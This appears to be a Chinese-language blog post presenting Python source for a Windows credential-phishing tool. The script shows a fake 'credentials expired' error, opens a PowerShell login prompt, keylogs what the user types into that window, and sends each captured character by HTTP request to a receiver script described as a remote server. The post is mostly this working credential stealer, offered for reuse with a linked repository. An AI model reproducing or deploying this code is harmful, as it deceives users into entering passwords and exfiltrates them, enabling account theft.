windows凭证钓鱼

Writing

创建时间:2019-08-13 17:45

阅读:

前言
环境

前言

在群里看见WBG老哥通过powershell来记录，windows凭证登录的用户名的和密码
当时就我凑了，看完gif后自己也想写一个
timg?image&quality=80&size=b9999_10000&sec=1565699852904&di=73af6fe7fb5650178fcc87f189f65330&imgtype=0&src=http%3A%2F%2Fpic1.win4000.com%2Fwallpaper%2Ff%2F5744232793d1a.jpg

环境

需要用到的库：

pyHook
pywin32
pycom
requests

仓库地址：
python/windows凭证捕获 at master · 422926799/python · GitHub

思路：

弹出一个MSgbox提升用户凭证过期
执行powershell命令要求输入凭证
寻找到该窗体
记录下键盘的输入
发送到远程服务器

代码：

#@author:
#@file:main.py
import pythoncom, pyHook
import pyHook
from ctypes import *
import requests
import win32api
import win32con
import os
import threading

win32api.MessageBox(0,"Windows凭证失效","Windows Error",win32con.MB_ICONERROR)
os.popen(r'''powershell iex "$creds = $host.ui.PromptForCredential(\"Login Required\",\"Enter username and password.\", \"$env:username\",\"NewBiosUserName\");"''')
print('[+] windows凭证捕获')
passwd=[]
def OnKeyboardEvent(event):
    windowTitle=create_string_buffer(512)
    windll.user32.GetWindowTextA(event.Window,byref(windowTitle),512) #从窗体中获得窗体的title
    windowname=windowTitle.value.decode('gbk')
    if 'Login Required'==windowname: #判断是否为登录窗体
        key=chr(event.Ascii)
        if key!='':
            print('{}'.format(key),end='')
            passwd.append(key)
        elif len(key)==0:
            print('\n')
# return True to pass the event to other handlers
    return True

def run():
    # create a hook manager
    hm = pyHook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent #设置事件过滤
    # set the hook
    hm.HookKeyboard()
    # wait forever
    print('键盘输入:')
    pythoncom.PumpMessages()

if __name__ == '__main__':
    t=threading.Thread(target=run,args=())
    t.setDaemon(True)
    t.start()
    t.join(10)
    for j in passwd:
        if str(j)=='\x00' or str(j)=='\t':
            pass
        else:
            rqt=requests.get(url='http://127.0.0.1/jieshou.php?password={}'.format(str(j)),headers={'user-agent':'nb'}) #发送到远程服务器

效果图
68747470733a2f2f73322e617831782e636f6d2f323031392f30382f31332f6d70686575642e676966

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。